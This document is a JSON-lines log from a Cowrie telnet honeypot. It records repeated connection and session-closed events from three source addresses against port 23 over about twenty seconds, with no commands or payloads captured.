{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":40796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0af216fc53","protocol":"telnet","message":"New connection: 199.231.212.75:40796 (10.17.0.5:23) [session: 6a0af216fc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:09.648825Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":57420,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfbf2c125565","protocol":"telnet","message":"New connection: 86.120.107.100:57420 (10.17.0.5:23) [session: cfbf2c125565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:09.967129Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38294,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc5ecdbbe4e","protocol":"telnet","message":"New connection: 164.68.122.45:38294 (10.17.0.5:23) [session: ebc5ecdbbe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:10.226864Z"}
{"eventid":"cowrie.session.closed","duration":30.78243327140808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:10.259254Z","src_ip":"199.231.212.75","session":"0ce0b9b1a3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25484824180603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:10.440675Z","src_ip":"164.68.122.45","session":"a4b050143bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41248,"dst_ip":"10.17.0.5","dst_port":23,"session":"367c9de0a05c","protocol":"telnet","message":"New connection: 199.231.212.75:41248 (10.17.0.5:23) [session: 367c9de0a05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:10.853958Z"}
{"eventid":"cowrie.session.closed","duration":30.314642906188965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:11.094654Z","src_ip":"199.231.212.75","session":"e4b6c9afa5dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41264,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f12918cce19","protocol":"telnet","message":"New connection: 199.231.212.75:41264 (10.17.0.5:23) [session: 7f12918cce19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:11.650640Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41266,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c17144ce5c8","protocol":"telnet","message":"New connection: 199.231.212.75:41266 (10.17.0.5:23) [session: 1c17144ce5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:11.683474Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41270,"dst_ip":"10.17.0.5","dst_port":23,"session":"059a82595f46","protocol":"telnet","message":"New connection: 199.231.212.75:41270 (10.17.0.5:23) [session: 059a82595f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:11.896476Z"}
{"eventid":"cowrie.session.closed","duration":30.726467609405518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:12.083776Z","src_ip":"86.120.107.100","session":"6d57dc5d7ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812132835388184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:12.191035Z","src_ip":"164.68.122.45","session":"5aa740ff6884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.176188707351685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:12.616004Z","src_ip":"199.231.212.75","session":"53a60d71c9c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041569232940674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:13.059820Z","src_ip":"164.68.122.45","session":"f4a2b2c06148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41286,"dst_ip":"10.17.0.5","dst_port":23,"session":"886b51b3c586","protocol":"telnet","message":"New connection: 199.231.212.75:41286 (10.17.0.5:23) [session: 886b51b3c586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:13.141274Z"}
{"eventid":"cowrie.session.closed","duration":31.024494171142578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:13.248977Z","src_ip":"199.231.212.75","session":"6548c02e2b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41296,"dst_ip":"10.17.0.5","dst_port":23,"session":"afcd1466d2e7","protocol":"telnet","message":"New connection: 199.231.212.75:41296 (10.17.0.5:23) [session: afcd1466d2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:13.979316Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41312,"dst_ip":"10.17.0.5","dst_port":23,"session":"43a6a5033d39","protocol":"telnet","message":"New connection: 199.231.212.75:41312 (10.17.0.5:23) [session: 43a6a5033d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:14.459499Z"}
{"eventid":"cowrie.session.closed","duration":31.283142566680908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:14.530948Z","src_ip":"199.231.212.75","session":"6d0ac579026e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41324,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6c82c521b3","protocol":"telnet","message":"New connection: 199.231.212.75:41324 (10.17.0.5:23) [session: 5d6c82c521b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:14.793036Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41332,"dst_ip":"10.17.0.5","dst_port":23,"session":"7507c6e01a02","protocol":"telnet","message":"New connection: 199.231.212.75:41332 (10.17.0.5:23) [session: 7507c6e01a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:15.100847Z"}
{"eventid":"cowrie.session.closed","duration":30.779124975204468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:15.334615Z","src_ip":"199.231.212.75","session":"0c0384e07ef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38296,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bbca3dfb168","protocol":"telnet","message":"New connection: 164.68.122.45:38296 (10.17.0.5:23) [session: 2bbca3dfb168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:15.716789Z"}
{"eventid":"cowrie.session.closed","duration":30.880784511566162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:16.062722Z","src_ip":"199.231.212.75","session":"acb8e77788eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59269642829895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:16.067929Z","src_ip":"199.231.212.75","session":"52b2b82fac33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38300,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7e93c9968f","protocol":"telnet","message":"New connection: 164.68.122.45:38300 (10.17.0.5:23) [session: fd7e93c9968f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:16.852835Z"}
{"eventid":"cowrie.session.closed","duration":30.361074209213257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:17.064099Z","src_ip":"164.68.122.45","session":"04780c2875c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98572540283203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:17.106690Z","src_ip":"164.68.122.45","session":"796c192b5ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959346771240234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:17.229592Z","src_ip":"199.231.212.75","session":"892aa90b9495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275166034698486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:17.588601Z","src_ip":"164.68.122.45","session":"e7490d7f5276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38304,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf8d1c40fb83","protocol":"telnet","message":"New connection: 164.68.122.45:38304 (10.17.0.5:23) [session: cf8d1c40fb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:17.768278Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38306,"dst_ip":"10.17.0.5","dst_port":23,"session":"90db78f49252","protocol":"telnet","message":"New connection: 164.68.122.45:38306 (10.17.0.5:23) [session: 90db78f49252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:18.043000Z"}
{"eventid":"cowrie.session.closed","duration":30.50216794013977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:18.179518Z","src_ip":"199.231.212.75","session":"7bfa651b752e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771106481552124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:18.234181Z","src_ip":"164.68.122.45","session":"dab1ee596bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea709693df2c","protocol":"telnet","message":"New connection: 164.68.122.45:38308 (10.17.0.5:23) [session: ea709693df2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:18.835018Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":38322,"dst_ip":"10.17.0.5","dst_port":23,"session":"769c7d8c616a","protocol":"telnet","message":"New connection: 164.68.122.45:38322 (10.17.0.5:23) [session: 769c7d8c616a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:19.026549Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41340,"dst_ip":"10.17.0.5","dst_port":23,"session":"c89f11bcebf9","protocol":"telnet","message":"New connection: 199.231.212.75:41340 (10.17.0.5:23) [session: c89f11bcebf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:19.354281Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41350,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3606e401aa3","protocol":"telnet","message":"New connection: 199.231.212.75:41350 (10.17.0.5:23) [session: c3606e401aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:19.382522Z"}
{"eventid":"cowrie.session.closed","duration":30.910933256149292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:19.412714Z","src_ip":"164.68.122.45","session":"05639a956037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.756356716156006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:19.811057Z","src_ip":"164.68.122.45","session":"556091d3abff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.818906784057617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:20.065025Z","src_ip":"86.120.107.100","session":"779cba37a601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199493408203125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:20.610383Z","src_ip":"164.68.122.45","session":"5d234864cbcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040173053741455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:21.090668Z","src_ip":"86.120.107.100","session":"9e23221fa2db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.240081548690796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:21.123145Z","src_ip":"164.68.122.45","session":"4aa62b3cdc8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518731355667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:21.145236Z","src_ip":"164.68.122.45","session":"0e38ce97bd8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40340,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f8e9a0ee54","protocol":"telnet","message":"New connection: 164.68.122.45:40340 (10.17.0.5:23) [session: a6f8e9a0ee54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:21.917239Z"}
{"eventid":"cowrie.session.closed","duration":30.370179891586304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:22.211046Z","src_ip":"164.68.122.45","session":"4bf0fbd542ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663365125656128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:22.271471Z","src_ip":"199.231.212.75","session":"0cc823a91ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40342,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d526bc4e650","protocol":"telnet","message":"New connection: 164.68.122.45:40342 (10.17.0.5:23) [session: 4d526bc4e650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:22.515171Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1a3c5c2f6c0","protocol":"telnet","message":"New connection: 199.231.212.75:55838 (10.17.0.5:23) [session: f1a3c5c2f6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:22.604316Z"}
{"eventid":"cowrie.session.closed","duration":30.942085027694702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:22.677284Z","src_ip":"199.231.212.75","session":"b11244814f66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247788667678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:23.166130Z","src_ip":"86.120.107.100","session":"fb1006db8d0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904327869415283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:23.470282Z","src_ip":"164.68.122.45","session":"96952245df9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897398710250854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:24.084013Z","src_ip":"164.68.122.45","session":"d1baa1089dee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091935634613037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:25.104557Z","src_ip":"199.231.212.75","session":"f241e7564daf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35841131210327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:25.344324Z","src_ip":"164.68.122.45","session":"fd7684f7a31e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40348,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6733471713","protocol":"telnet","message":"New connection: 164.68.122.45:40348 (10.17.0.5:23) [session: 9e6733471713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:25.699737Z"}
{"eventid":"cowrie.session.closed","duration":31.562283277511597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:25.771384Z","src_ip":"199.231.212.75","session":"76852fba464a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55844,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d460f7a181","protocol":"telnet","message":"New connection: 199.231.212.75:55844 (10.17.0.5:23) [session: 43d460f7a181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:26.186559Z"}
{"eventid":"cowrie.session.closed","duration":31.360426425933838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:26.320835Z","src_ip":"86.120.107.100","session":"e517b802590b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82361149787903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:26.805108Z","src_ip":"164.68.122.45","session":"19984e82eee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99143886566162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.100687Z","src_ip":"164.68.122.45","session":"3da86ad9337c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0a1bfbad613","protocol":"telnet","message":"New connection: 164.68.122.45:40358 (10.17.0.5:23) [session: b0a1bfbad613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.111969Z"}
{"eventid":"cowrie.session.closed","duration":30.754766941070557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.166874Z","src_ip":"199.231.212.75","session":"cdecb5a521dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51797914505005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.173941Z","src_ip":"164.68.122.45","session":"2c3cd795ca06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40366,"dst_ip":"10.17.0.5","dst_port":23,"session":"104b0082e148","protocol":"telnet","message":"New connection: 164.68.122.45:40366 (10.17.0.5:23) [session: 104b0082e148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.222688Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55850,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4a1145a467","protocol":"telnet","message":"New connection: 199.231.212.75:55850 (10.17.0.5:23) [session: 5e4a1145a467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.404240Z"}
{"eventid":"cowrie.session.closed","duration":31.718417167663574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.683209Z","src_ip":"164.68.122.45","session":"4def84e8f413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.612316131591797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.812202Z","src_ip":"164.68.122.45","session":"ea9f827571aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.800968647003174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:27.877752Z","src_ip":"199.231.212.75","session":"f45b8d6ed4a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72707962989807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:28.041731Z","src_ip":"164.68.122.45","session":"7cc16a06c80f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640644788742065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:28.230975Z","src_ip":"164.68.122.45","session":"d127c820559e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55856,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37f795e2a48","protocol":"telnet","message":"New connection: 199.231.212.75:55856 (10.17.0.5:23) [session: a37f795e2a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:28.370316Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40370,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b277920d7f8","protocol":"telnet","message":"New connection: 164.68.122.45:40370 (10.17.0.5:23) [session: 4b277920d7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:28.731821Z"}
{"eventid":"cowrie.session.closed","duration":31.028765439987183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.361172Z","src_ip":"164.68.122.45","session":"22232cc748cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.416414499282837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.365690Z","src_ip":"164.68.122.45","session":"e3fdeb0a0e2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9816707520","protocol":"telnet","message":"New connection: 164.68.122.45:40382 (10.17.0.5:23) [session: ce9816707520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.425044Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55870,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0d30796a04","protocol":"telnet","message":"New connection: 199.231.212.75:55870 (10.17.0.5:23) [session: 0d0d30796a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.581867Z"}
{"eventid":"cowrie.session.closed","duration":31.12019419670105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.656625Z","src_ip":"86.120.107.100","session":"a37c0fa3f5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171223878860474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.738351Z","src_ip":"199.231.212.75","session":"8fc32df5154b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488796710968018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:29.892390Z","src_ip":"86.120.107.100","session":"40263774a7eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48586,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9e85cda82e","protocol":"telnet","message":"New connection: 199.231.212.75:48586 (10.17.0.5:23) [session: 3e9e85cda82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:30.690781Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"5368caa9761c","protocol":"telnet","message":"New connection: 199.231.212.75:48600 (10.17.0.5:23) [session: 5368caa9761c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:30.858286Z"}
